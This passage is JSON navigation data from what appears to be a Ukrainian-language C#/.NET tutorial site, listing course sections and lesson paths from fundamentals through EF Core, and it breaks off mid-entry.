[{"data":1,"prerenderedAt":13574},["ShallowReactive",2],{"navigation_docs":3,"-web-development-http-and-https-cors-and-security":3728,"-web-development-http-and-https-cors-and-security-surround":13571},[4,1707,1912,2366,2547,2673,2880,3002,3052,3109,3143,3269,3346,3360,3495,3512,3525,3671,3724],{"title":5,"icon":6,"path":7,"stem":8,"children":9},"C#","i-devicon-csharp","\u002Fcsharp","01.csharp",[10,13,60,90,120,202,219,253,379,404,457,650,1364,1654,1703],{"title":11,"path":7,"stem":12},"C# та .NET","01.csharp\u002Findex",{"title":14,"icon":15,"path":16,"stem":17,"children":18,"page":59},"Fundamentals","i-lucide-book-open","\u002Fcsharp\u002Ffundamentals","01.csharp\u002F01.fundamentals",[19,23,27,31,35,39,43,47,51,55],{"title":20,"path":21,"stem":22},"Вступ до екосистеми .NET","\u002Fcsharp\u002Ffundamentals\u002Fintroduction-to-ecosystem","01.csharp\u002F01.fundamentals\u002F01.introduction-to-ecosystem",{"title":24,"path":25,"stem":26},"Структура програми на C#","\u002Fcsharp\u002Ffundamentals\u002Fprogram-structure","01.csharp\u002F01.fundamentals\u002F02.program-structure",{"title":28,"path":29,"stem":30},"Змінні та Типи Даних","\u002Fcsharp\u002Ffundamentals\u002Fvariables-data-types","01.csharp\u002F01.fundamentals\u002F03.variables-data-types",{"title":32,"path":33,"stem":34},"Масиви","\u002Fcsharp\u002Ffundamentals\u002Farrays","01.csharp\u002F01.fundamentals\u002F04.arrays",{"title":36,"path":37,"stem":38},"Strings & Text Handling","\u002Fcsharp\u002Ffundamentals\u002Fstrings-text-handling","01.csharp\u002F01.fundamentals\u002F05.strings-text-handling",{"title":40,"path":41,"stem":42},"Дати і Час","\u002Fcsharp\u002Ffundamentals\u002Fdates-time-handling","01.csharp\u002F01.fundamentals\u002F06.dates-time-handling",{"title":44,"path":45,"stem":46},"Потік Керування","\u002Fcsharp\u002Ffundamentals\u002Fcontrol-flow","01.csharp\u002F01.fundamentals\u002F07.control-flow",{"title":48,"path":49,"stem":50},"Методи","\u002Fcsharp\u002Ffundamentals\u002Fmethods","01.csharp\u002F01.fundamentals\u002F08.methods",{"title":52,"path":53,"stem":54},"Основи Відлагодження","\u002Fcsharp\u002Ffundamentals\u002Fdebugging-basics","01.csharp\u002F01.fundamentals\u002F09.debugging-basics",{"title":56,"path":57,"stem":58},"Інтерактивна Консоль (Classic)","\u002Fcsharp\u002Ffundamentals\u002Finteractive-console","01.csharp\u002F01.fundamentals\u002F10.interactive-console",false,{"title":61,"icon":62,"path":63,"stem":64,"children":65,"page":59},"OOP","i-lucide-box","\u002Fcsharp\u002Foop","01.csharp\u002F02.oop",[66,70,74,78,82,86],{"title":67,"path":68,"stem":69},"Package Management (Управління Пакетами)","\u002Fcsharp\u002Foop\u002Fpackage-management","01.csharp\u002F02.oop\u002F01.package-management",{"title":71,"path":72,"stem":73},"Класи та Об'єкти","\u002Fcsharp\u002Foop\u002Fclasses-objects","01.csharp\u002F02.oop\u002F02.classes-objects",{"title":75,"path":76,"stem":77},"Властивості та Поля","\u002Fcsharp\u002Foop\u002Fproperties-fields","01.csharp\u002F02.oop\u002F03.properties-fields",{"title":79,"path":80,"stem":81},"Стовпи ООП","\u002Fcsharp\u002Foop\u002Foop-pillars","01.csharp\u002F02.oop\u002F04.oop-pillars",{"title":83,"path":84,"stem":85},"Advanced Types","\u002Fcsharp\u002Foop\u002Fadvanced-types","01.csharp\u002F02.oop\u002F05.advanced-types",{"title":87,"path":88,"stem":89},"Namespaces (Простори Імен)","\u002Fcsharp\u002Foop\u002Fnamespaces","01.csharp\u002F02.oop\u002F06.namespaces",{"title":91,"icon":92,"path":93,"stem":94,"children":95,"page":59},"Advanced Core","i-lucide-zap","\u002Fcsharp\u002Fadvanced-core","01.csharp\u002F03.advanced-core",[96,100,104,108,112,116],{"title":97,"path":98,"stem":99},"Generics (Узагальнення)","\u002Fcsharp\u002Fadvanced-core\u002Fgenerics","01.csharp\u002F03.advanced-core\u002F01.generics",{"title":101,"path":102,"stem":103},"Делегати, Події та Лямбда-вирази","\u002Fcsharp\u002Fadvanced-core\u002Fdelegates-events-lambdas","01.csharp\u002F03.advanced-core\u002F02.delegates-events-lambdas",{"title":105,"path":106,"stem":107},"Interfaces Deep Dive (Інтерфейси: Поглиблений Розгляд)","\u002Fcsharp\u002Fadvanced-core\u002Finterfaces-deep-dive","01.csharp\u002F03.advanced-core\u002F03.interfaces-deep-dive",{"title":109,"path":110,"stem":111},"Обробка Винятків","\u002Fcsharp\u002Fadvanced-core\u002Fexception-handling","01.csharp\u002F03.advanced-core\u002F04.exception-handling",{"title":113,"path":114,"stem":115},"Pattern Matching","\u002Fcsharp\u002Fadvanced-core\u002Fpattern-matching","01.csharp\u002F03.advanced-core\u002F05.pattern-matching",{"title":117,"path":118,"stem":119},"Додаткові Можливості C#","\u002Fcsharp\u002Fadvanced-core\u002Fadditional-features","01.csharp\u002F03.advanced-core\u002F06.additional-features",{"title":121,"icon":122,"path":123,"stem":124,"children":125,"page":59},"Architecture Best Practices","i-lucide-building-2","\u002Fcsharp\u002Farchitecture-best-practices","01.csharp\u002F04.architecture-best-practices",[126,130,149,153,157,161,165,169],{"title":127,"path":128,"stem":129},"Software Design Principles (Частина 1)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fsoftware-design-principles","01.csharp\u002F04.architecture-best-practices\u002F01.software-design-principles",{"title":131,"icon":132,"path":133,"stem":134,"children":135,"page":59},"Design Patterns","i-lucide-folder","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns",[136],{"title":137,"icon":132,"path":138,"stem":139,"children":140,"page":59},"Creational","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational",[141,145],{"title":142,"path":143,"stem":144},"Singleton (Одинак)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational\u002Fsingleton","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational\u002F01.singleton",{"title":146,"path":147,"stem":148},"Builder (Будівельник)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational\u002Fbuilder","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational\u002F02.builder",{"title":150,"path":151,"stem":152},"Building Professional CLIs","\u002Fcsharp\u002Farchitecture-best-practices\u002Fbuilding-professional-clis","01.csharp\u002F04.architecture-best-practices\u002F03.building-professional-clis",{"title":154,"path":155,"stem":156},"Validation & Flow Control","\u002Fcsharp\u002Farchitecture-best-practices\u002Fvalidation-flow-control","01.csharp\u002F04.architecture-best-practices\u002F04.validation-flow-control",{"title":158,"path":159,"stem":160},"The Modern .NET Host (Microsoft.Extensions)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fmodern-dotnet-host","01.csharp\u002F04.architecture-best-practices\u002F05.modern-dotnet-host",{"title":162,"path":163,"stem":164},"Data Mapper: Repository та DAO патерни (Частина 1)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdata-mapper-part1","01.csharp\u002F04.architecture-best-practices\u002F06.data-mapper-part1",{"title":166,"path":167,"stem":168},"Data Mapper: Repository та DAO патерни (Частина 2)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdata-mapper-part2","01.csharp\u002F04.architecture-best-practices\u002F07.data-mapper-part2",{"title":170,"icon":132,"path":171,"stem":172,"children":173,"page":59},"Di Ioc","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc",[174,178,182,186,190,194,198],{"title":175,"path":176,"stem":177},"Проблема залежностей та Інверсія Контролю","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fthe-dependency-problem","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F01.the-dependency-problem",{"title":179,"path":180,"stem":181},"Будуємо власний Service Container","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fbuild-your-own-container","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F02.build-your-own-container",{"title":183,"path":184,"stem":185},"Service Locator: Паттерн та Анти-паттерн","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fservice-locator-pattern","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F03.service-locator-pattern",{"title":187,"path":188,"stem":189},"Паттерни Dependency Injection","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fdependency-injection-patterns","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F04.dependency-injection-patterns",{"title":191,"path":192,"stem":193},"Microsoft DI: IServiceCollection та IServiceProvider","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fmicrosoft-di-deep-dive","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F05.microsoft-di-deep-dive",{"title":195,"path":196,"stem":197},"Service Lifetimes та Scopes","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fservice-lifetimes-and-scopes","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F06.service-lifetimes-and-scopes",{"title":199,"path":200,"stem":201},"DI Анти-паттерни та Найкращі Практики","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fdi-anti-patterns-and-best-practices","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F07.di-anti-patterns-and-best-practices",{"title":203,"icon":132,"path":204,"stem":205,"children":206,"page":59},"Standard Library","\u002Fcsharp\u002Fstandard-library","01.csharp\u002F05.standard-library",[207,211,215],{"title":208,"path":209,"stem":210},"Collections (Колекції)","\u002Fcsharp\u002Fstandard-library\u002Fcollections","01.csharp\u002F05.standard-library\u002F01.collections",{"title":212,"path":213,"stem":214},"High Performance Types (Високопродуктивні Типи)","\u002Fcsharp\u002Fstandard-library\u002Fhigh-performance-types","01.csharp\u002F05.standard-library\u002F02.high-performance-types",{"title":216,"path":217,"stem":218},"LINQ (Language Integrated Query)","\u002Fcsharp\u002Fstandard-library\u002Flinq","01.csharp\u002F05.standard-library\u002F03.linq",{"title":220,"icon":221,"path":222,"stem":223,"children":224,"page":59},"System Internals Concurrency","i-lucide-server","\u002Fcsharp\u002Fsystem-internals-concurrency","01.csharp\u002F06.system-internals-concurrency",[225,229,233,237,241,245,249],{"title":226,"path":227,"stem":228},"Memory Management","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fmemory-management","01.csharp\u002F06.system-internals-concurrency\u002F01.memory-management",{"title":230,"path":231,"stem":232},"Reflection API: System.Type та Метадані","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Freflection-fundamentals","01.csharp\u002F06.system-internals-concurrency\u002F02.reflection-fundamentals",{"title":234,"path":235,"stem":236},"Attributes та Dynamic Language Runtime","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fattributes-dynamic","01.csharp\u002F06.system-internals-concurrency\u002F03.attributes-dynamic",{"title":238,"path":239,"stem":240},"Expression Trees: Швидка Альтернатива Рефлексії","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fexpression-trees-compiled","01.csharp\u002F06.system-internals-concurrency\u002F04.expression-trees-compiled",{"title":242,"path":243,"stem":244},"Source Generators: Compile-Time Code Generation","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fsource-generators","01.csharp\u002F06.system-internals-concurrency\u002F05.source-generators",{"title":246,"path":247,"stem":248},"Multithreading Fundamentals","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fmultithreading-fundamentals","01.csharp\u002F06.system-internals-concurrency\u002F06.multithreading-fundamentals",{"title":250,"path":251,"stem":252},"Synchronization Primitives","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fsynchronization-primitives","01.csharp\u002F06.system-internals-concurrency\u002F07.synchronization-primitives",{"title":254,"icon":255,"path":256,"stem":257,"children":258,"page":59},"System Programming Windows","i-lucide-cpu","\u002Fcsharp\u002Fsystem-programming-windows","01.csharp\u002F07.system-programming-windows",[259,263,267,271,275,279,283,287,291,295,299,303,307,311,315,319,323,327,331,335,339,343,347,351,355,359,363,367,371,375],{"title":260,"path":261,"stem":262},"Як Працює Операційна Система","\u002Fcsharp\u002Fsystem-programming-windows\u002Fhow-os-works","01.csharp\u002F07.system-programming-windows\u002F01.how-os-works",{"title":264,"path":265,"stem":266},"Процеси в .NET — API та Запуск","\u002Fcsharp\u002Fsystem-programming-windows\u002Fprocesses-in-dotnet","01.csharp\u002F07.system-programming-windows\u002F02.processes-in-dotnet",{"title":268,"path":269,"stem":270},"Процеси в .NET — IPC та Міжпроцесна Комунікація","\u002Fcsharp\u002Fsystem-programming-windows\u002F02a.processes-ipc","01.csharp\u002F07.system-programming-windows\u002F02a.processes-ipc",{"title":272,"path":273,"stem":274},"Application Domains та Збірки — AppDomain і AssemblyLoadContext","\u002Fcsharp\u002Fsystem-programming-windows\u002Fappdomains-assemblies","01.csharp\u002F07.system-programming-windows\u002F03.appdomains-assemblies",{"title":276,"path":277,"stem":278},"Application Domains та Збірки — Plug-in Система з Hot-Reload","\u002Fcsharp\u002Fsystem-programming-windows\u002F03a.appdomains-plugin-system","01.csharp\u002F07.system-programming-windows\u002F03a.appdomains-plugin-system",{"title":280,"path":281,"stem":282},"Потоки — Основи та API Thread","\u002Fcsharp\u002Fsystem-programming-windows\u002Fthread-fundamentals","01.csharp\u002F07.system-programming-windows\u002F04.thread-fundamentals",{"title":284,"path":285,"stem":286},"Потоки — Lifecycle, Пріоритети та Безпечне Завершення","\u002Fcsharp\u002Fsystem-programming-windows\u002F04a.thread-lifecycle-priorities","01.csharp\u002F07.system-programming-windows\u002F04a.thread-lifecycle-priorities",{"title":288,"path":289,"stem":290},"Проблеми Спільного Стану — Race Condition та Data Race","\u002Fcsharp\u002Fsystem-programming-windows\u002Fshared-state-problems","01.csharp\u002F07.system-programming-windows\u002F05.shared-state-problems",{"title":292,"path":293,"stem":294},"Проблеми Спільного Стану — Memory Model та volatile","\u002Fcsharp\u002Fsystem-programming-windows\u002F05a.shared-state-memory-model","01.csharp\u002F07.system-programming-windows\u002F05a.shared-state-memory-model",{"title":296,"path":297,"stem":298},"Синхронізація — Monitor, lock та еволюція примітивів","\u002Fcsharp\u002Fsystem-programming-windows\u002Fsynchronization-fundamentals","01.csharp\u002F07.system-programming-windows\u002F06.synchronization-fundamentals",{"title":300,"path":301,"stem":302},"Синхронізація — Наскрізний Приклад та Deadlock Detection","\u002Fcsharp\u002Fsystem-programming-windows\u002F06a.synchronization-walkthrough","01.csharp\u002F07.system-programming-windows\u002F06a.synchronization-walkthrough",{"title":304,"path":305,"stem":306},"Синхронізація — Mutex, Semaphore та Event-Based Primitives","\u002Fcsharp\u002Fsystem-programming-windows\u002Fsynchronization-advanced","01.csharp\u002F07.system-programming-windows\u002F07.synchronization-advanced",{"title":308,"path":309,"stem":310},"Синхронізація — Interlocked, Volatile та Lock-Free Структури","\u002Fcsharp\u002Fsystem-programming-windows\u002F07a.synchronization-advanced-walkthrough","01.csharp\u002F07.system-programming-windows\u002F07a.synchronization-advanced-walkthrough",{"title":312,"path":313,"stem":314},"Interlocked, CAS та Lock-Free Структури","\u002Fcsharp\u002Fsystem-programming-windows\u002Finterlocked-cas-lockfree","01.csharp\u002F07.system-programming-windows\u002F08.interlocked-cas-lockfree",{"title":316,"path":317,"stem":318},"Volatile, Memory Model та Spinning","\u002Fcsharp\u002Fsystem-programming-windows\u002F08a.volatile-memory-model","01.csharp\u002F07.system-programming-windows\u002F08a.volatile-memory-model",{"title":320,"path":321,"stem":322},"ThreadPool — Пул Потоків для Ефективного Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fthread-pool","01.csharp\u002F07.system-programming-windows\u002F09.thread-pool",{"title":324,"path":325,"stem":326},"ThreadPool — Просунуті Сценарії та Внутрішня Будова","\u002Fcsharp\u002Fsystem-programming-windows\u002F09a.thread-pool-advanced","01.csharp\u002F07.system-programming-windows\u002F09a.thread-pool-advanced",{"title":328,"path":329,"stem":330},"Concurrent та Immutable Collections","\u002Fcsharp\u002Fsystem-programming-windows\u002Fconcurrent-collections","01.csharp\u002F07.system-programming-windows\u002F10.concurrent-collections",{"title":332,"path":333,"stem":334},"TPL, Task та Композиція — Від Thread до Task","\u002Fcsharp\u002Fsystem-programming-windows\u002Ftpl-parallel-plinq","01.csharp\u002F07.system-programming-windows\u002F11.tpl-parallel-plinq",{"title":336,"path":337,"stem":338},"Parallel Class та PLINQ — Data Parallelism","\u002Fcsharp\u002Fsystem-programming-windows\u002F11a.tpl-parallel-plinq-advanced","01.csharp\u002F07.system-programming-windows\u002F11a.tpl-parallel-plinq-advanced",{"title":340,"path":341,"stem":342},"Async\u002FAwait — Фундамент Асинхронного Програмування","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-fundamentals","01.csharp\u002F07.system-programming-windows\u002F12.async-fundamentals",{"title":344,"path":345,"stem":346},"SynchronizationContext та ConfigureAwait — Контекст Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-context-configureawait","01.csharp\u002F07.system-programming-windows\u002F13.async-context-configureawait",{"title":348,"path":349,"stem":350},"Async — Просунуті Паттерни","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-advanced","01.csharp\u002F07.system-programming-windows\u002F14.async-advanced",{"title":352,"path":353,"stem":354},"System.Threading.Channels — Async Producer-Consumer","\u002Fcsharp\u002Fsystem-programming-windows\u002Fchannels","01.csharp\u002F07.system-programming-windows\u002F15.channels",{"title":356,"path":357,"stem":358},"Асинхронна Синхронізація","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-synchronization","01.csharp\u002F07.system-programming-windows\u002F16.async-synchronization",{"title":360,"path":361,"stem":362},"Unsafe Code та Вказівники","\u002Fcsharp\u002Fsystem-programming-windows\u002Funsafe-code","01.csharp\u002F07.system-programming-windows\u002F17.unsafe-code",{"title":364,"path":365,"stem":366},"P\u002FInvoke та Windows API — Міст між .NET та Native Code","\u002Fcsharp\u002Fsystem-programming-windows\u002Fpinvoke-winapi","01.csharp\u002F07.system-programming-windows\u002F18.pinvoke-winapi",{"title":368,"path":369,"stem":370},"Реєстр Windows — Центральна База Конфігурації Системи","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-registry","01.csharp\u002F07.system-programming-windows\u002F19.windows-registry",{"title":372,"path":373,"stem":374},"Windows Hooks, Hotkeys та Services — Глибока Інтеграція з ОС","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-hooks-services","01.csharp\u002F07.system-programming-windows\u002F20.windows-hooks-services",{"title":376,"path":377,"stem":378},"Системне Програмування C# (Windows) — 07.system-programming-windows","\u002Fcsharp\u002Fsystem-programming-windows\u002Fimplementation_plan","01.csharp\u002F07.system-programming-windows\u002Fimplementation_plan",{"title":380,"icon":132,"path":381,"stem":382,"children":383,"page":59},"Io","\u002Fcsharp\u002Fio","01.csharp\u002F08.io",[384,388,392,396,400],{"title":385,"path":386,"stem":387},"8.1.1. Основи роботи з файловою системою","\u002Fcsharp\u002Fio\u002Ffile-system-basics","01.csharp\u002F08.io\u002F01.file-system-basics",{"title":389,"path":390,"stem":391},"8.1.2. Потоки (Streams) та Серіалізація Даних","\u002Fcsharp\u002Fio\u002Fstreams-serialization","01.csharp\u002F08.io\u002F02.streams-serialization",{"title":393,"path":394,"stem":395},"8.2.1. JSON Serialization з System.Text.Json","\u002Fcsharp\u002Fio\u002Fjson-serialization","01.csharp\u002F08.io\u002F03.json-serialization",{"title":397,"path":398,"stem":399},"8.2.2. XML Serialization та LINQ to XML","\u002Fcsharp\u002Fio\u002Fxml-serialization","01.csharp\u002F08.io\u002F04.xml-serialization",{"title":401,"path":402,"stem":403},"8.2.3. Binary Serialization: MessagePack та Protocol Buffers","\u002Fcsharp\u002Fio\u002Fbinary-serialization","01.csharp\u002F08.io\u002F05.binary-serialization",{"title":405,"icon":132,"path":406,"stem":407,"children":408,"page":59},"Ado Net","\u002Fcsharp\u002Fado-net","01.csharp\u002F09.ado-net",[409,413,417,421,425,429,433,437,441,445,449,453],{"title":410,"path":411,"stem":412},"9.1. Введення в ADO.NET","\u002Fcsharp\u002Fado-net\u002Fintroduction-to-adonet","01.csharp\u002F09.ado-net\u002F01.introduction-to-adonet",{"title":414,"path":415,"stem":416},"9.2. Клас DbConnection — з'єднання з базою даних","\u002Fcsharp\u002Fado-net\u002Fconnection","01.csharp\u002F09.ado-net\u002F02.connection",{"title":418,"path":419,"stem":420},"9.3. Клас DbCommand — виконання SQL-запитів","\u002Fcsharp\u002Fado-net\u002Fcommand-and-queries","01.csharp\u002F09.ado-net\u002F03.command-and-queries",{"title":422,"path":423,"stem":424},"9.4. Клас DbDataReader — ефективне читання даних","\u002Fcsharp\u002Fado-net\u002Fdatareader","01.csharp\u002F09.ado-net\u002F04.datareader",{"title":426,"path":427,"stem":428},"9.5. Параметризовані запити та захист від SQL Injection","\u002Fcsharp\u002Fado-net\u002Fparameters-and-sql-injection","01.csharp\u002F09.ado-net\u002F05.parameters-and-sql-injection",{"title":430,"path":431,"stem":432},"9.6. Транзакції в ADO.NET","\u002Fcsharp\u002Fado-net\u002Ftransactions","01.csharp\u002F09.ado-net\u002F06.transactions",{"title":434,"path":435,"stem":436},"9.7. DbProviderFactory — провайдер-незалежний код","\u002Fcsharp\u002Fado-net\u002Fprovider-factory","01.csharp\u002F09.ado-net\u002F07.provider-factory",{"title":438,"path":439,"stem":440},"9.8. Асинхронний доступ до даних","\u002Fcsharp\u002Fado-net\u002Fasync-data-access","01.csharp\u002F09.ado-net\u002F08.async-data-access",{"title":442,"path":443,"stem":444},"9.9. Від'єднаний режим: DataSet, DataTable, DataRow","\u002Fcsharp\u002Fado-net\u002Fdisconnected-mode-dataset","01.csharp\u002F09.ado-net\u002F09.disconnected-mode-dataset",{"title":446,"path":447,"stem":448},"9.10. DataAdapter — міст між DataSet та базою даних","\u002Fcsharp\u002Fado-net\u002Fdata-adapter","01.csharp\u002F09.ado-net\u002F10.data-adapter",{"title":450,"path":451,"stem":452},"9.11. Data Mapper та Repository: Архітектура доступу до даних","\u002Fcsharp\u002Fado-net\u002Fdata-mapper-repository","01.csharp\u002F09.ado-net\u002F11.data-mapper-repository",{"title":454,"path":455,"stem":456},"9.12. Identity Map, Unit of Work та Specification Pattern","\u002Fcsharp\u002Fado-net\u002Fadvanced-patterns","01.csharp\u002F09.ado-net\u002F12.advanced-patterns",{"title":458,"icon":255,"path":459,"stem":460,"children":461,"page":59},"Ef Core","\u002Fcsharp\u002Fef-core","01.csharp\u002F10.ef-core",[462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,532,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646],{"title":463,"path":464,"stem":465},"Що таке ORM? Від SQL до об'єктів","\u002Fcsharp\u002Fef-core\u002Fwhat-is-orm","01.csharp\u002F10.ef-core\u002F01.what-is-orm",{"title":467,"path":468,"stem":469},"Перший проєкт — від нуля до CRUD","\u002Fcsharp\u002Fef-core\u002Ffirst-project","01.csharp\u002F10.ef-core\u002F02.first-project",{"title":471,"path":472,"stem":473},"DbContext — Серце EF Core","\u002Fcsharp\u002Fef-core\u002Fdbcontext-deep-dive","01.csharp\u002F10.ef-core\u002F03.dbcontext-deep-dive",{"title":475,"path":476,"stem":477},"Провайдери баз даних — Архітектура та Вибір СУБД","\u002Fcsharp\u002Fef-core\u002Fdatabase-providers","01.csharp\u002F10.ef-core\u002F04.database-providers",{"title":479,"path":480,"stem":481},"Конвенції EF Core — Магія без конфігурації","\u002Fcsharp\u002Fef-core\u002Fconventions","01.csharp\u002F10.ef-core\u002F05.conventions",{"title":483,"path":484,"stem":485},"Fluent API та Data Annotations — Явна конфігурація моделі","\u002Fcsharp\u002Fef-core\u002Ffluent-api-vs-annotations","01.csharp\u002F10.ef-core\u002F06.fluent-api-vs-annotations",{"title":487,"path":488,"stem":489},"Зв'язки — One-to-One та One-to-Many","\u002Fcsharp\u002Fef-core\u002Frelationships-basics","01.csharp\u002F10.ef-core\u002F07.relationships-basics",{"title":491,"path":492,"stem":493},"Зв'язки Advanced — Many-to-Many та Складні Сценарії","\u002Fcsharp\u002Fef-core\u002Frelationships-advanced","01.csharp\u002F10.ef-core\u002F08.relationships-advanced",{"title":495,"path":496,"stem":497},"Властивості — Типи, Конвертери, Компаратори (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part1","01.csharp\u002F10.ef-core\u002F09.property-configuration-part1",{"title":499,"path":500,"stem":501},"Властивості — Value Comparers, Generators, Shadow Properties (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part2","01.csharp\u002F10.ef-core\u002F09.property-configuration-part2",{"title":503,"path":504,"stem":505},"Складні типи — Owned Types та Complex Types (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part1","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part1",{"title":507,"path":508,"stem":509},"Складні типи — Complex Types, Keyless Entities, Порівняння (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part2","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part2",{"title":511,"path":512,"stem":513},"JSON Columns — Складні дані у JSON (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part1","01.csharp\u002F10.ef-core\u002F11.json-columns-part1",{"title":515,"path":516,"stem":517},"JSON Columns — Value Comparers, Індекси, Провайдери (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part2","01.csharp\u002F10.ef-core\u002F11.json-columns-part2",{"title":519,"path":520,"stem":521},"Успадкування — Абстрактні класи та TPH (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finheritance-part1","01.csharp\u002F10.ef-core\u002F12.inheritance-part1",{"title":523,"path":524,"stem":525},"Успадкування — TPT, TPC та Порівняння Стратегій (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finheritance-part2","01.csharp\u002F10.ef-core\u002F12.inheritance-part2",{"title":527,"path":528,"stem":529,"children":530},"Індекси, Обмеження та Схема (Частина 1)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part1","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part1",[531],{"title":527,"path":528,"stem":529},{"title":533,"path":534,"stem":535,"children":536},"Індекси, Обмеження та Схема (Частина 2)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part2","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part2",[537],{"title":533,"path":534,"stem":535},{"title":539,"path":540,"stem":541},"Seed Data — Початкові Дані (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fseeding-part1","01.csharp\u002F10.ef-core\u002F14.seeding-part1",{"title":543,"path":544,"stem":545},"Seed Data — SQL-скрипти, Bogus та Стратегії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fseeding-part2","01.csharp\u002F10.ef-core\u002F14.seeding-part2",{"title":547,"path":548,"stem":549},"Global Query Filters — Глобальні Фільтри (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part1","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part1",{"title":551,"path":552,"stem":553},"Global Query Filters — Підводні камені та Інтеграція (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part2","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part2",{"title":555,"path":556,"stem":557},"LINQ-запити в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part1","01.csharp\u002F10.ef-core\u002F16.linq-queries-part1",{"title":559,"path":560,"stem":561},"LINQ-запити в EF Core (Частина 2)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part2","01.csharp\u002F10.ef-core\u002F16.linq-queries-part2",{"title":563,"path":564,"stem":565},"Завантаження Пов'язаних Даних (Частина 1)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part1","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part1",{"title":567,"path":568,"stem":569},"Завантаження Пов'язаних Даних (Частина 2)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part2","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part2",{"title":571,"path":572,"stem":573},"Raw SQL, Views та Stored Procedures (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part1","01.csharp\u002F10.ef-core\u002F18.raw-sql-part1",{"title":575,"path":576,"stem":577},"Raw SQL — Stored Procedures, DbFunction та Bulk Operations (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part2","01.csharp\u002F10.ef-core\u002F18.raw-sql-part2",{"title":579,"path":580,"stem":581},"Продвинуті Запити — Compiled Queries, Bulk та Оптимізація (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part1","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part1",{"title":583,"path":584,"stem":585},"Продвинуті Запити — Query Tags, Bulk та Interceptors (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part2","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part2",{"title":587,"path":588,"stem":589},"Change Tracker — Відстеження Змін (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part1","01.csharp\u002F10.ef-core\u002F20.change-tracking-part1",{"title":591,"path":592,"stem":593},"Change Tracker — Графи Об'єктів та Disconnected (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part2","01.csharp\u002F10.ef-core\u002F20.change-tracking-part2",{"title":595,"path":596,"stem":597},"Збереження Даних та 